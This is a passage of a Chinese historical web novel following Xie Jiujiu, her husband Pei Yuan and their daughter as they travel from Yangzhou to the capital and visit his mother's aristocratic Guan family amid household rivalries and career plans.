客栈是客船上的人帮忙定下的,扬州城里中等客栈里的上房,两人一间连带四个镖师也都是一样的待遇,谁都不用客气。毕竟在扬州也就停两天,等要换的大船到了,就得继续赶路。 十月下旬的扬州已经颇有些寒意了,晚上如愿吃到了她爹说的蟹粉狮子头、盐水鹅、水晶肴肉的阿满,满意又不满意。 满意是因为终于不用吃鱼了,不满意是因为几个菜没有一个辣的。 阿满还不到一岁的时候,谢九九就用筷子尖点着刚做好的剁辣椒往孩子舌头上放,本来是想辣一辣孩子,没想到阿满砸吧砸吧嘴,又冲着谢九九啊啊喊了两声,示意还要。 从那以后,阿满渐渐学会吃饭就没有不吃辣这一说。这一回在船上待了这么久还是没吃高兴,小姑娘哼哼唧唧的可不乐意了,直到实在困极了,才跟着她春姨去隔壁睡觉了。 “要不多留两天,你看阿满那个样子,我瞧着心里难受。你说我这个当爹的多没用,非让孩子跟着我吃这份苦。” “不行,昨天船老大怎么跟咱们说的。今年的天儿比去年要冷,现在不抓紧赶路,到时候被雪堵在路上,你闺女就真要吃苦头了。” 入了夜,客栈的人特地搬了个小炭盆过来,前几天扬州起了大风,晚上睡觉的时候就开始有些冷了,要是没个炭盆放在房间里,晚上说不定得冻醒。 看着这个架势谢九九哪里敢耽搁,对于裴元的提议一把驳回,“这事没得商量,赶紧的睡觉。明天出去把该买的买上,后天一早就出发!” 第82章 第82章新地图正式开启 烟花三月下扬州,谢九九读书再不行这首诗总是会的。 即便再累,第二天她还是起了个大早,把早在船上就准备好的衣裳拿出来穿上。 又细细把香粉口脂擦好,眉毛画得弯弯细细的,她昨天来客栈的路上专门看了,好几个年轻娘子都是描的这个样式的眉毛,看着可秀气又温柔。 “快些起来,再不起来今天就来不及了。” 今天除了要去买些上了船用得着的东西,谢九九还想去一趟瘦西湖。人人都说扬州景美人美,这一次路过了下一次什么时候再来就说不准了。 有些地方即便是来去匆匆没时间细琢磨,谢九九还是觉得该去看看。 “瞧瞧,我今天的打扮怎么样,好不好看。” 谢九九今天给自己盘了个云髻,银鎏金挑心嵌着玛瑙插在髻顶点睛,配上发髻侧边的白玉簪看着特别脱俗雅致。大小匀称的珍珠串成发带绕髻一圈,又凭添了几分富贵气。 身上穿了一件杏黄的对襟袄子,下身着一条藏青色百褶裙,裙襕用银线绣着暗纹,脚上软底的绣鞋用的是青缎面,内里填的一层薄薄的兔毛,保暖又秀气。 “好看。”裴元撑起身子仔仔细细把妻子今日的装扮看过,眉眼中蕴着的笑意就藏不住了。 还没漱口洗脸 的人从床上下来,凑到谢九九跟前在她下巴上亲了一口。这时候可不能亲脸颊和唇畔,要是把谢娘子认真化的妆给弄花了,自己可赔不起。 “怎么今日这般有兴致,昨晚上是谁说什么都不肯我碰,说累了累了使不上劲儿的。” “呸,好似我说不碰有些个举人老爷就老实了一样。” 还不是换了个姿势,说好了不让自己累着,就把人抱在怀里翻来覆去烙馅饼一样,到最后谢九九甚至都分不清两人到底是在扬州的客栈里,还是依旧在船上随着水浪起伏。 “今儿穿这件斗篷出去吧,这世上只有娘子最衬银红,旁人穿着就显得俗气。” 裴元此刻比狗还乖觉,主动拿起谢九九的斗篷给她披上,紧跟着又赶紧绕到屏风后面洗脸漱口,今儿要耽误了谢大娘子去瘦西湖玩儿,自己就成千古罪人了。 这次去京城,除了一家三口加上春儿几人,还有潘掌柜、谢有粮和大头一家。 原本潘掌柜也想把家中妻子带上,但潘掌柜年纪不轻了,早好几年他儿子就已经娶妻生子。对于潘掌柜的雄心壮志,他家娘子并不能理解。 不过老夫老妻的她也不拦着,毕竟潘掌柜这么多年不管在外面是赚了还是亏了,家中妻儿却从未缺过银子花,男人嘛,兹要是肯拿钱回来,其余的用不着计较那么清楚。 把过日子看得极为通透的潘娘子知道潘掌柜要去京城,隔天就决定自己不跟着了。她打心底里就不愿受这份折腾,她就在家替媳妇看看孩子挺好的。 再说家里还有两个闺女,大闺女已经嫁人了,小闺女也定了亲事,再留两年也要出门子。自己要是跟着丈夫走了,女儿嫁人之后连个想回的娘家都没有,那怎么成。 本来潘掌柜是不愿意的,他给儿子娶了老婆又给了足够的银子让他在容县做个小本买卖,怎么连妻子孩子都照顾不好,还要自己老妻留下来伺候他们。 可一说到两个女儿,潘掌柜又不说话了。家里有个老娘,嫁了人的女儿想什么时候回娘家就什么时候回,要是家里只有哥嫂,可就真成了做客了。 所以潘掌柜到底还是一个人跟着谢九九上路往京城走,这会儿见谢九九和裴元收拾好了从客房出来,也不肯让他们操心上船补给的问题,只一个劲的催他们带着阿满去瘦西湖逛逛。 “东家放心,船上要什么我这边肯定都能备齐。您要是买也只买些零嘴或是扬州的特产就行了,别的不用您管。” 要是说以前潘掌柜跟谢九九是相处合适的东家和掌柜,那现在潘掌柜多少添了几分尊卑。原因当然在于裴元的身份,这是既定的事实,每个人都得慢慢习惯。 对此,一家三口坐在瘦西湖旁的茶馆里喝茶吃点心看景的时候,谢九九忍不住跟裴元说了。 “以前叫我东家,是因为我给他们发工钱。现在叫我东家,总感觉是想要从我身上得到更多。你说我这人是不是特市侩啊,人家对我好我也要想这么多。” “天下攘攘皆为利往,天下熙熙皆为利来。这本无错,娘子不是市侩而是比旁人更早看透了本质,这是娘子生来的本事,别人想要都还没有。” 裴元当然知道潘掌柜因为什么把一家子都抛下也要跟着谢九九去京城,一人得道鸡犬升天,自己是个独身惯了的,日后还会更加难以接近。 那么跟着谢九九也是一样的,这是人性,避无可避。裴元只是很高兴自己的妻子这般清明且自省,很少说废话的裴元忍不住偷偷握住谢九九掩在衣袖下的手。 “娘子这般好心性,若为男子必能睥睨朝堂建功立业。” “我不为男子,也能建功立业赚他个盆满钵满。” 好好的扬州深秋,多雅致的景色都被这俗气至极的夫妻给浪费了。倒是阿满,小孩子睡过一脚又精力十足,城里全是她没见过的没吃过的,只要是能买又不难拿的,她爹都掏银子给她全买了回来。 在扬州停了两天,缓过一口气便又换了更大的船继续出发。 上船的时候阿满第一次哭得撕心裂肺的,把裴元心疼得连话都说不出来,就站在码头抱着闺女,大手摩挲在女儿后背上,要不是谢九九板着脸催着爷俩,裴元怕是真狠不下心上船了。 “其实从扬州到京城走陆路,也不是不行,要不……” “要不什么要不,等到了徐州上了岸,一路到京城都是陆路够你们爷俩走的,到时候别有哭着嫌马车颠簸就行了。” 谢九九抬手在裴元腰窝上狠狠揪了一把,这人什么都好,就是一遇上阿满便什么道理什么大局都不管了,弄得好像自己这个亲娘成了后娘,一家三口就自己狠心。 “对,你娘说得对。等再过些日子咱们就换成马车做,今天先上船好不好。” 被谢九九掐那么一下,裴元马上就反应过来自己做得不该。也不再一昧的哄着孩子,而是一边跟阿满商量一边把人抱上了船。 天气越冷行船越慢,又过了十天大船在徐州码头停下,再往前就不能坐船了。 码头很多或卖或租赁马车的人,明年有春闱,这个时候要进京的举子很多,正是做生意的好时候。 租马和马车的花费贵得谢九九心头只滴血,要不是出发前裴元得了不少本地士绅上门贺喜送的银子,谢九九真的会难过的。 租的马车还算干净,出发前裴元又专门让人去买了几床厚厚的棉被垫在马车里,连马车带车窗的两侧也被他拿棉布遮了起来。 每辆马车里再配上一个炭盆,两个手炉。确保大家伙起码能在马车里坐得舒服了,这才沿着官道和驿站,一站一站往前走,直到腊月初一才到了京城。 出发前裴元就已经寄信给了关令仪,从入了冬月起关家就派人每天等在广安门和朝阳门外,走水路的话应该由朝阳门入京,走官道的话应该由广安门入京,为了不错过,关家干脆两边都等着。 “是表少爷吧,大爷和姑小姐派小的在此等候,您可算是来了。” “我娘身体可还好,大舅也是太见外,我信里不是写了等到了京城我自己找地方住下,等安顿好了就去府上给老太太请安的。” 关家门房上的下人都认识裴元,等人的时候又带着接人的牌子,马车刚到城门口可不就认出来了。 裴元对关家客气地尊着,但要说亲近着实还谈不上。那门子也机灵,当即就接过话头一边在前头带路一边跟裴元解释。 “姑小姐都猜到表少爷会这么说,姑小姐也说您带着表少奶奶和小小姐,就这么去府里肯定不乐意。 所以专门叫人收拾出一个宅子来,说是这都年底了就先住下,等明年开春表少爷金榜题名之后,到时候再去找更好的宅子。” 到地方的时候确实已经都收拾好了,屋子里连火炕都是热的。 除了宅子还有两房仆人连同卖身契,门子一起给了谢九九,来接人的都被专门嘱咐过,有关宅子里的东西直接给谢娘子。 关令仪给安排的宅子离关家不算近,坐马车大概要走半个时辰才能到。 但谢九九和裴元都很满意,刚到京城没必要非借住在亲戚家里,还是裴元跟关家这么敏感的关系,就这么不近不远的处着最好。 “等收拾好了,再带 上东西去关家拜见老太太,要是人家非要留咱们就陪着母亲和老他太住几天,要是不留咱们就回来,马上要过年了,我这还不知道去哪里买年货。” 宅子说是两进,但其实在谢九九看来算得上三进还有富余。 一进门就是一排倒座房和空着的马棚,现在关令仪给的两家仆人都住在前面。还有两间小的空出来的,正好曹勇跟高义一人分一间。 绕过影壁才是一进前院,周正四方的格局,正好能留给谢有粮、潘掌柜和大头夫妻。这一路往京城来幸亏有几家人一起作伴,要不然路上更加枯燥乏味。 穿过前院,沿着游廊就能直接走到后院,后院不大,一家三口加上春儿住下绰绰有余。 后院正屋两侧还带着左右角房,角房两侧都开着门洞,再往后走还有一排后罩房,收拾收拾一半做库房一半做厨房,宽敞得很。 这样的宅子你说二进,确实正经的院子就只有二进,倒座房和后罩房跟院子都只隔了一条窄窄的过道。 但其实能用上的地方,跟官宦人家三进带后罩房的大宅子也差不了多少。京城有钱人家多,建宅子的时候不敢僭越又不想住得逼仄,就想出这样的办法来。 “那你不用操心了,我去厨房看过了,里面没准备多少吃的,肯定得去关家过个年。” 裴元先去前院看了一趟,潘掌柜说什么都不肯住前院的正屋,就跟谢有粮住了东厢,两边的次间一人一间倒也合适,西厢留给大头和他老婆也正好。 “行吧,那这次就是我跟着裴老爷出去见见世面,见见正经的世家大族到底是个什么排场,正好为以后也做做准备,到时候不给裴大人丢人。” 谢九九知道肯定得有这么一遭,也不过白问一句。确定很有可能要去关家过年,便装腔作势拍了拍身上并没有的灰尘,一副无可奈何的架势站起身来,进屋去收拾东西。 第83章 第83章关家 京城,关府。 老太太庞氏三年前把流落在外的女儿给找了回来,原本病得一日比一日重的人,先是熬过当年冬天。 甚至在裴元背着她回了容县那天下午,还在颐寿堂把关家大老爷关如璋拿拐杖打了一顿,非说他心眼小,小得容不下外甥和亲妹妹,当即就要收拾东西,说要带着关令仪从关府搬出去。 大夫人冯氏一边帮着老太太念叨丈夫这事办得不行,一边又要转过头来哄小孩儿一样哄着庞氏,总不能真让老太太带着刚找回来的大姑子走了,那成什么样子了。 冯氏是关家当年在岭南给关如璋找的妻子,都说瘦死的骆驼比马大,这话本不错。流放的路上关家确实吃尽了苦头,但到了流放地之后,一家子也就安顿下来了。 冯家是当地的大户,冯氏是家中庶女。要是搁以前关家风光的时候,冯家的嫡女也高攀不起关家的大少爷,可这不是落魄了吗,那就又是另一说了。 一个庶女不值钱,把女儿嫁给关如璋冯家是在赌一个关家东山再起的可能,关如璋娶冯家女,则是为了一家人能尽快在流放之地扎下根来。 当年关老太爷在世的时候就说过,关家落魄能在流放之地好好活下来,全家上下都要记得冯氏的恩。没有她一而再再而三的回冯家,关家还不知道要吃多少亏、遭多少难。 好在岭南大族规矩不如京城大,冯氏又是个泼辣爽利的性子,自嫁给关如璋以后便是关家的当家奶奶,当年在岭南如此,之后回了京城亦是如此。 三年前关如璋和关如琅两个没本事,裴元回去了,得靠她才能哄得住婆婆不生气,又留得住大姑子在府里住下。 现在三年过去,关如璋依旧是坐在一旁沉默听着母亲的训,看不出一丁点儿人前圆滑世故的样子。还得冯氏过来,装腔作势地说前院有衙门的人急着找他,才把人关大老爷救出来。 “母亲要是说什么不好听的你千万忍一忍,等回去了你跟我说。” “跟老爷说有什么用,老爷要能顶用我这会儿就不来了。” 还有几天就要腊八了,过了腊八就是年。这么大个府里什么事不要她操心。关如璋要真能哄得住婆婆,她才不给自己找事呢。 不顶用的关如璋无言语对,只能站在廊下冲冯氏连连作揖。 看着冯氏深吸一口气摆出一副眉开眼笑喜气盈盈的样子进了颐寿堂,关如璋又站在门口听了一小会儿,听见里面只有冯氏清脆的说话声,这才转身离开。 “母亲,您先消消气儿,您要是责怪大妹妹把元哥儿他们安排在府外住,那这事媳妇起码也有一半的错。” “你别来替他们求情,我知道你一向是个好的,只他们兄弟姊妹几个心思重得很。”庞氏说着话,又抬手往关令仪额头上虚点了两下。 当年不得已在岳州扔下关令仪,这事就成了庞氏心里一根刺,这些年多少人在自己跟前说,当年的情况没有谁做错了都是不得已,但庞氏心里过不去就是过不去。 直到把女儿找回来,哪怕再心疼这些年关令仪的遭遇经历,但孩子回来了一直堵在心口的那股气也就散了。 但亲生的母女脾性性子总有相似之处,关令仪当初回是回来了,可才住了个过年就说要自己一个人搬出去住。 为这事一向圆滑世故,什么都讲究个顺其自然强扭的瓜不甜的关如璋气得暴跳如雷。 在他看来这事要么不做,就稀里糊涂的不认下,大被一盖黑不提白不提。现在把人接回来了,哪还有让关令仪自己出去过日子的道理。 兄妹两个争得谁也不让谁,庞氏为此气得又病了两回,最后也是冯氏出马才劝住了关令仪。 她也不说什么母子天性也不说什么大局为重,她只说裴元,关令仪住在关家,等过几年裴元进京跟府里的关系就比她不住在府里要近一步。 官场是什么地方,都是先敬罗衫后敬人。裴元背后有没有关家,跟关家两个舅舅的关系到底有多近,这对裴元都是有帮助的。 这些东西裴元可以选择不要,但在他初入仕途的时候却不能没有。 这个道理关令仪其实比冯氏更加明白,只是这些年的经历让她一时直想着咬牙较劲儿罢了。直到被冯氏点透,关令仪才心甘情愿留在关家住下来。 平日里也会时不常的跟着老太太或是嫂子弟妹出门往来交际,时间长了也重新在京城结交了三五好友,偶尔在府里弄个诗会赏花品茶。 渐渐的关令仪在岳州的事鲜少有人再提及,在岳州做了那么多年外室的关氏才真正做回关家的大小姐。 这次裴元带着妻女来京城,关令仪把儿子安顿到外面的宅子也不把人带回来,在庞氏看来这就是闺女心里那点儿别扭劲儿又犯了。 “母亲这话说得,当心大妹妹伤心。”裴元和谢九九怎么住,都是关令仪找冯氏这个大嫂商量好的,要不然那两房的人也不能送过去。 “您只瞧见大妹妹没把您外孙接府里来,怎么没瞧见她让元哥儿去住的是哪儿,城西那宅子不也是您给大妹妹的私房,这跟住府里哪有不一样。” 宅子确实是关令仪回来以后庞氏私底下给的,当年回京城之后家里陆续找过两回关氏,人没找回来庞氏心里难受,便把自己的私房拿出来,给不知道还在不在这个世上的女儿准备了一份家产。 那时候备下来不过为了给自己一个安慰,谁也没想到关令仪真的有回来的一天,这些本就是给她准备的东西,庞氏自然当着全家人的面都交给了她。 “住在外面哪有府里好,马上就要过年了。他们两个小孩子家家的刚到京城,人生地不熟的,这个年还不知道怎么过。” “娘,这话我昨儿就跟您说了,裴元的家是九九当。咱们问也不问人家一句就把人接到府里来,不合适。” 庞氏当然知道关令仪说的是什么意思,外孙是入赘给了谢家姑娘。现在要接外孙一家来府里,按道理是得先问过外孙媳妇的意见。自家虽是高门大户,可也不能不讲理。 “那怎么着,住过去了就真不来了,把咱们娘俩都忘在脑后了?” “老太太诶,您瞧瞧这是什么。” 庞氏年纪大了,都说老人老了跟小孩儿差不多,眼下冯氏和关令仪可不就是把庞氏当个孩子哄。冯氏把早上谢九九差人送来的拜帖拿出来,“人家明儿就带着您外孙过来,还有您的重孙女。” “怎么还递帖子?”庞氏接过帖子,脸上的神情明显缓和了不少,嘴上还忍不住嘀咕,“明天一早就派人去接,京城他们不熟,大冷的天走岔了路可不行。” 关令仪本想说有送过去的两房家生子在,怎么也不至于叫裴元和九九走认错了门。但冯氏给她使了个眼色,关令仪便把到了嘴边的话咽了回去,现在这话不说比说了强。 府里还多的是事要忙,哄好了婆婆冯氏没留多久,就从颐寿堂出来。 跟着一起出来的是起身送冯氏出颐寿 堂的关令仪,姑嫂两个顺着抄手游廊往外走,丫鬟们都落在后面好几步路。 “今儿多亏嫂子了,要不然我和大哥真是拿老太太没法子。” “要不说你们是亲生的呢,一个比一个犟,劝人也不知道迂回着些,还是我这个当媳妇的关键时刻能顶用吧,换个人来可就不灵了。” “行了,大冷的天别送了,停云斋那边我还得去看看,今年过年老太太肯定要留元哥儿他们在府里,停云斋离颐寿堂近,住那里最合适。” 冯氏自顾自说着就把这事给定下就风风火火的走了,留下关令仪站在门口没忍住叹了口气。 自己这个大嫂处处都好,可就是总要夹枪带棒地挤兑一下杨氏,哪怕人家压根没在这儿。 杨氏,是关如琅的妻子。杨家也是京城的大户,杨氏的母亲还是世代都在钦天监为官的世家。 两人的婚事是从小就定下的娃娃亲,后来关家出事贬谪去了岭南,临走前关家老太爷是写了退婚书给杨家的。 知多年之后从岭南回来,杨家又主动找上门来,说退婚的事关家说了不算,得两家都点头才能算数。 那时候关家还没官复原职,杨家能做到这份上还有什么好说的,后来关如琅到了年纪就跟杨氏成亲了。 家里经受过大变,老太爷去世之后老太太又一直健在,兄弟两个从未想过要分家的事,冯氏和杨氏这对妯娌自然也只能一个屋檐下住着。 本来两人关系不错,冯氏性子泼辣当年冯家又帮过关家,她又是长媳,府里她当家杨氏也从未有过二话。 但住在一起几十年,又怎么可能一点矛盾都没有。 尤其冯氏泼辣能干,杨氏却是个淡雅无争的性子,两人相处起来便是什么解不开的矛盾都没有,还是都觉得跟对方说也说不到一处去,吃也吃不到一处去。 再加上冯氏一进门就连着生了两个儿子,杨氏跟关如琅成亲二十年,却直到五年前才生了个儿子。 大户人家的太太奶奶们比的可不就是这些,谁的娘家厉害,谁的嫁妆更多,谁嫁过来管家一言九鼎,谁生了儿子谁生了女儿,甚至连谁今日头上多了支金簪,也能拿来说嘴。 关家的规矩还算严,但也免不了有奴仆私底下嘀咕。时间长了,冯氏觉得自己管家最累这些年家里数她最劳苦功高,即便杨氏娘家势大,也越不过她去。 杨氏本不计较这些,她就喜欢过清净日子,每日给婆母请安过后,回到自己院子不是看书就是作画,再不然把闺中好友请到府里来玩儿,再没有比这更自在的日子。 可听多了下人们总说什么大夫人比五夫人能干,大房有两个少爷二房的五爷连着生了三个姑娘,以后怎么办还难说得很,杨氏心里又怎么可能一点儿疙瘩都没有。 送走冯氏,关令仪只在门口站了站,就瞧见不远处一个丫鬟往颐寿堂这边来,一看便是杨氏身边的丫鬟,专门等在外面就是不愿意跟冯氏碰上的。 果然,丫鬟是来请关令仪这个大姑姐去二房那边的,说是中午备了竹叶青和几道难得的野味,要请关令仪过去吃饭。 关令仪没说不去,只说先回去跟老太太说一声。庞氏一看大女儿回来一脸无奈就猜到了,“是杨氏又找你了吧,去吧去吧,她俩打擂台你只当做不知道,两边哄着就是了。” “母亲,您瞧瞧这一大家子人,咱们家的家风够严了吧还这样。您是没见过九九,她那个性子啊我怎么敢留她在府里。” 关令仪倒不是怕谢九九吃亏,她是怕谢九九受不住这份絮叨磨叽,惹急了她不管是谁在她那里都讨不着便宜。 “只要她自己不吃亏就是个好的,也不知你操的哪门子心。” 庞氏才不管女儿担心的是什么,总之外孙一家子她是一定要接到府里来的,“真要是个有本事的,那倒还好了呢!” 第84章 第84章朱门大户 关家这些是是非非裴元知道一些但从未打听过,谢九九自然也不会主动去问。 关令仪给的两房仆人确实很能干,一户姓关,一家三代都是关家的家奴。当年关家出事他们一家是少数跟着去了岭南,在岭南过了十几年,又跟着回了京城的。 关令仪送来的关杰,他爹关大如今在大老爷关如璋院子里当管事,因着年纪大了不怎么跟着主子出门,就专门管着关家在京城周边的田庄和山头,即便是在主子们跟前也是十足的体面。 关杰还有两个哥哥一个姐姐,大哥关文、二哥关武都在关家任管事,关文在厨房当差,是十足的肥差。 关武从小跟着关如璋读书习字,平时跟着关如璋进出处理他身边往来交际的事情,说是奴仆其实出了门人家也要叫他一声武二爷。 老三关莹是个姑娘,在关家长到十六岁,关家给女儿在外面相中了一个书生,关大为此专门去关如璋和老太太跟前求了恩典,放了关莹的身契,出府嫁人。 都说宁娶大家婢不娶小家女,娶了关莹的书生着实沾了关家的光。那人考中举人以后没能考中进士,关大就直接找了关系给女婿补了一个县令的实缺。 地方有些偏,四年前关莹跟着丈夫一家去了任上就再没回来过。 但一家子对关莹找的这门亲事都觉得再好不过,为此关文关武在关如璋跟前也越发殷勤。 谁都知道他们一家的前程,全系在主子身上,主子好他们才能好,远在外地的妹子才能更好。 关杰是小儿子,从小也是被爹娘捧在手心里养大的孩子。 十二岁了还没进府当差,据说是因为十二岁的关杰晚上睡觉还有尿床的习惯,家里舍不得把他送进府里当差。 一直长到十六岁时,老太太做主把身边一个三等丫鬟珍珠配给关杰,两人成了亲关杰才在外院书房伺候,专管着茶房的活儿,轻省又体面。 但这样的差事也没什么前途,两个老爷跟前都有伺候了多年的仆人书童,即便他有两个哥哥做靠山,人家也不可能把什么好事都让给他。 这次关令仪主动找到冯氏想要两房人去伺候儿子和媳妇,冯氏便把关杰和珍珠挑了出来。 一来关杰和珍珠都是关家的家生子,对关家和京城都很了解。二来裴元日后的前程大家都看在眼里,关杰在关家当差想要出头太难,不如把他放到裴元跟前,说不定比留在关家强。 这事是冯氏把珍珠叫过去仔细说了的,关杰和珍珠也都愿意过来。还有一房是从内厨房抽调过来的,一家子老实人从不掐尖要强,这么一来关杰自然成了这两房人里能管事的。 裴元跟前能伺候的只有曹勇和高义,到了京城裴元把内院东厢收拾出来做了书房,曹勇本就是书童,现在自然而然回了 书房伺候。 门房上便是高义和关杰轮流守着,因着这次是要去关家小住,留下守家的自然是高义,跟着夫妻俩进府的便是关杰、珍珠和春儿。 马车和马都是新买的,关杰和新买回家的马还不大熟,好在这一路去关家也不着急,就不紧不慢地走着,顺道把府里两房主子们的事情,当做故事都跟谢九九说了。 “这也算不得什么大事,一个能干些得了管家的好处,一个雅致些得了清闲的日子,也算是求什么得了什么,别不是你们背着人故意拿两个舅妈的事当乐子看,人家才当了真吧。” 关杰说得津津有味,谢九九也听得认真。只是好一通故事听下来,也没听出什么了不得的事情来。 冯氏比杨氏年长十岁,又是长房长嫂,管家更是从岭南到京城就一直是她的活儿,不归她管着还能给谁。这么大个家,难道新娶进来一个媳妇就换一个管家人,那难道又是什么好事不成? 关如琅自己见过也打过交道,又不是个糊涂人。杨氏出身清贵,她娘的娘家还是钦天监的,这个谢九九真知道,本朝钦天监的官职向来都是世代承袭,人家懂的那一套东西,就不是外人能弄明白的。 从这样人家出来的姑娘,身上多了几分超凡脱俗的出尘也是正常。 要是没有人长年累月在她耳边嘀咕,他没生儿子少了个儿子,她不如大嫂冯氏这个那个的,两人之间的矛盾肯定不至于像现在这样,还能让关杰把两人的事当个故事说给自己听。 “娘子说得有道理,不过咱们这样的人家都是这样,主子们有主子们在意的事,当奴仆的除了当差干活,在意的也都是主子们在意的事。” 所以想要底下的奴仆们不嘀咕主子们的事,那是不可能的,区别只在于大声嘀咕还是小声嘀咕。 关杰是家里老幺,说话多少带着些直愣愣的劲儿,还是妻子珍珠使劲儿戳了他几下,他才反应过来这话不该这么说,毕竟现在他的主子就是眼前的谢娘子。 “你说得对,到了哪个山头就要唱哪个山头的歌,以后这些事你们千万别瞒着我,都一点一点说给我听,要不然以后我连说错了话都不知道那可怎么办。咱们现在是一家人,可得一致对外。” 裴元是府里的表少爷,跟府里亲近不亲近也只能是一条心。所以谢九九说这话,关杰和珍珠都重重点了点头。表少爷好了他们才能跟着鸡犬升天,表少奶奶这话说得再没有更对的。 马车停在关府门口,谢九九从马车上下来看着高大而威严的大门,心里没由来地就多了一丝紧张,不过更多的还是对这般朱门大户的好奇。 她早就听裴元说过,关老爷子去世前官职是礼部尚书,去世后又追封了太子少保,所以府邸的规格是比一般侍郎府更高上许多。 进了门,先是一道大仪门,过了仪门便是个不大的花园子,花园两侧又各自有东西两个跨院,这都算前院的范畴,东院是关如璋的前书房,西院是关如琅的前书房。 知道裴元今日要来,关如璋和关如琅都没出门,关如璋书房的仆人等在门房把裴元带去书房,内院的婆子着带着一顶小轿等在府里,说是来接谢九九去后头颐寿堂见老太太。 谢家从谢九九出生起,就从来没有过这么大的规矩。坐在小轿上跟着来接人的妈妈和丫鬟往后院走,过了花园子光是垂花门就穿过两张,才到了庞氏现下住的颐寿堂门口。 颐寿堂,也是关家西路院第三进大院子。垂花门里又有两个守门的婆子,看着膀阔腰圆的,着实是能守得住门户的样子。 怪不得话本子里都说大户人家入了二门内院,到了年纪的仆从连男的都不能留,只有丫鬟婆子和十三四岁的小小子们可以留在内院跑腿干活儿。 要是府里面都是这样的妈妈们守门,确实是用不着男人。轿子停在垂花门外,再往里就得谢九九自己走了,毕竟总不能把轿子一路抬到庞氏屋子门口去。 从入府到这会儿,其实也就一刻钟左右的功夫,便是自己抱着阿满走过来也谈不上累。 倒是坐在这轿子里一上一下的,还得丫鬟扶进扶出,搞得好大一个排场架势,也不知道是拿来唬别人还是唬自己的。 这话谢九九不过在心里打了个滚,半点异样都没露出来。 倒是阿满真成了个小乡巴佬,从轿子里下来进过了垂花门,沿着抄手游廊往颐寿堂正堂走,她牵着她娘的手,嘴里的哇声就没停过。 “娘,这院子真大啊,比家里大多了。” 阿满说的家是容县的谢家,因为不管是后来一家三口搬去的新宅,还是到了京城刚安顿好的宅子,阿满都还觉得陌生。 她不闹是因为爹娘和她春姨都在,但其实隔三差五她还是会问,咱们什么时候回家去。 “是啊,看那木芙蓉和山茶花开得多好,以后咱们在家里也种上些花可好。” 到底年纪小,谢九九不好让所有人都跟着阿满那小步子慢慢走,干脆把人抱起来给她指向廊下和院子里的花。 木芙蓉和山茶都还算耐寒,但眼下已经进了腊月,这些花儿要想成片成片的开花,就必须有暖房才行。这一看就是府里有专门打理花木的人奴仆和花房,要不然这花长不了这么好。 “不要花,养狗儿吧,咱们现在住的地方没有狗子也没有猫猫,不好。” “行,那就养两条狗,两只猫儿,等过完年娘就带你去找狗。” 阿满长得壮实又可爱,趴在娘亲肩头看什么都稀罕看什么都觉得好,跟谢九九说话稚气中又带着点儿一本正经,活像个小大人。 看得一旁的丫鬟和婆子都觉得有意思,其中一个穿着打扮一看就是个管事的妇人,更是走一路夸了一路,夸得阿满都脸红了,肉嘟嘟的小手捧着自己的脸蛋儿直摇头。 “表少奶奶可来了,老太太和姑小姐都盼了一上午了,问了我们好些遍,这不奴婢刚躲出来,就正好碰上奶奶和满姑娘到了。” 一行人走到颐寿堂门口,已经有丫鬟从屋里出来给谢九九请安,出来的丫鬟穿着一身藕荷色的交领短袄配褐色百褶裙。 发髻上只有一根纯银无纹的簪子,鬓边带了一朵红色绒花,称得上点睛之笔。 米粒大的耳环十分素净,总之浑身上下并不见多么招摇的打扮,但站在那儿让人一看就能看出来十分规矩稳重。 看得谢九九心里忍不住感叹了一句,怪不得人要往高处走呢,这关家的丫鬟真就比多少普通人家的姑娘还要大方得体。 腊月的京城已经很冷了,颐寿堂里却暖和得连斗篷大氅都穿不住。脱下来的斗篷有丫鬟不知道拿哪儿去了,谢九九牵着阿满绕过各处里外的屏风,这才终于见着了关家的老太太庞氏。 庞氏去年刚过了七十大寿,裴元和谢九九还专门托人送了礼物来京城。这会儿看着坐在罗汉榻上的庞氏,谢九九并不觉得多么陌生,反而借着请安的时候,还仔细打量了一番。 人生七十古来稀,过了七十岁的老太太满头银发,脸上的皱纹也很深。要是没有这般雍容华贵的打扮,跟容县那颗大树下的老太太,也差不了多少。 这样的念头不过一瞬,谢九九进府前的那点儿紧张就散尽了。 领着阿满给庞氏这个老太太磕头请安过后,谢九九又被庞氏身边的老妈妈领着认了一通人,收了好些镯子玉佩做见面礼,才算周全了礼节。 这样的场合,最会说最能热闹的一贯是冯氏,先是拉着谢九九夸了一通,紧跟着又把阿满给抱了过去。 一向能说会道的谢大娘子这会儿在冯氏跟前竟是有些插不上话,只能挨着关令仪坐下来,看向自己的婆母关令仪,冲她笑得殷勤得近乎谄媚。 “别怕,知道你肯定不习惯。”关令仪也不跟她来虚的,腾出一只手在她手背上拍了拍,“等住上几天,熟悉了也就习惯了。” 第85章 第85章亲戚往来 “过几日便 是腊八,等过了腊八各处衙门就该陆陆续续休息了。 这几年你寄过来的文章你小舅舅都留着,编辑成了文集,等得了空让他带着你去拜见翰林院的严学士和吴大人。” 在关如璋的设想里,不管明年春闱裴元考得如何,只要得中进士就必定要入翰林院。先在翰林院里待上三年,之后家里会尽全力让他留在京城为官。 “你跟你表兄不一样,他们出生没多久就跟着府里回了京城,没吃过亏不知道给老百姓当官到底有多难。朝廷历来又一直都有不历州县不拟台省的说法,故而放他去任上历练。” 而裴元从小就在容县长大,前几年又已经在县衙里帮着做了许多文书类的事情。不管是人情往来还是民生经济,他心里多少有个底儿,不是那等从小锦衣玉食不知民间疾苦的人。 他跟正经的关家少爷之间所缺的,就是个正经八百的好出身。 出身得靠履历来弥补,关如璋给外甥谋划的路子便是先入翰林院拜名师,最好是在翰林院把资历熬足,在圣上和东宫跟前都挂了号,再出去外任历练。 去的地方偏远一些也无妨,等攒够了资历到时候再回京城,那路子就宽敞了。 关如璋的安排绝对算得上用心,便是裴元一时间也挑不出个不好来。只有一旁的关宁业没忍住轻轻嗤笑了一声,随即又不说话了。 而另一边的关如琅一听要去严学士府上,当即就摇摇头,一副‘我才不去触这个霉头’的样子。 “严学士那边要去大哥你去,我不带着元哥儿去找不痛快。前些日子二郎带着冬至礼上门,人家连面都没见,何苦再让元哥儿去受这个气。” “那是这个孽障不争气,如何又能怪严学士不见。当年若是他能好好在国子监读书,如今……” “罢罢罢,好好的日子又说这个做什么。父亲若是要当着表弟的面数落我,干脆我今儿就回衙门里住,您眼不见我,我也跟着心不烦。” 书房里除了裴元和关如璋、关如琅,还有大房的老二,关如璋的二儿子关宁业也在。 他比裴元大六岁,过完年就正经是而立之年的人了。 那年裴元送关令仪回来只听说有关家有个不愿意正经考功名,反而半路出家去习武还入了锦衣卫的二表哥。 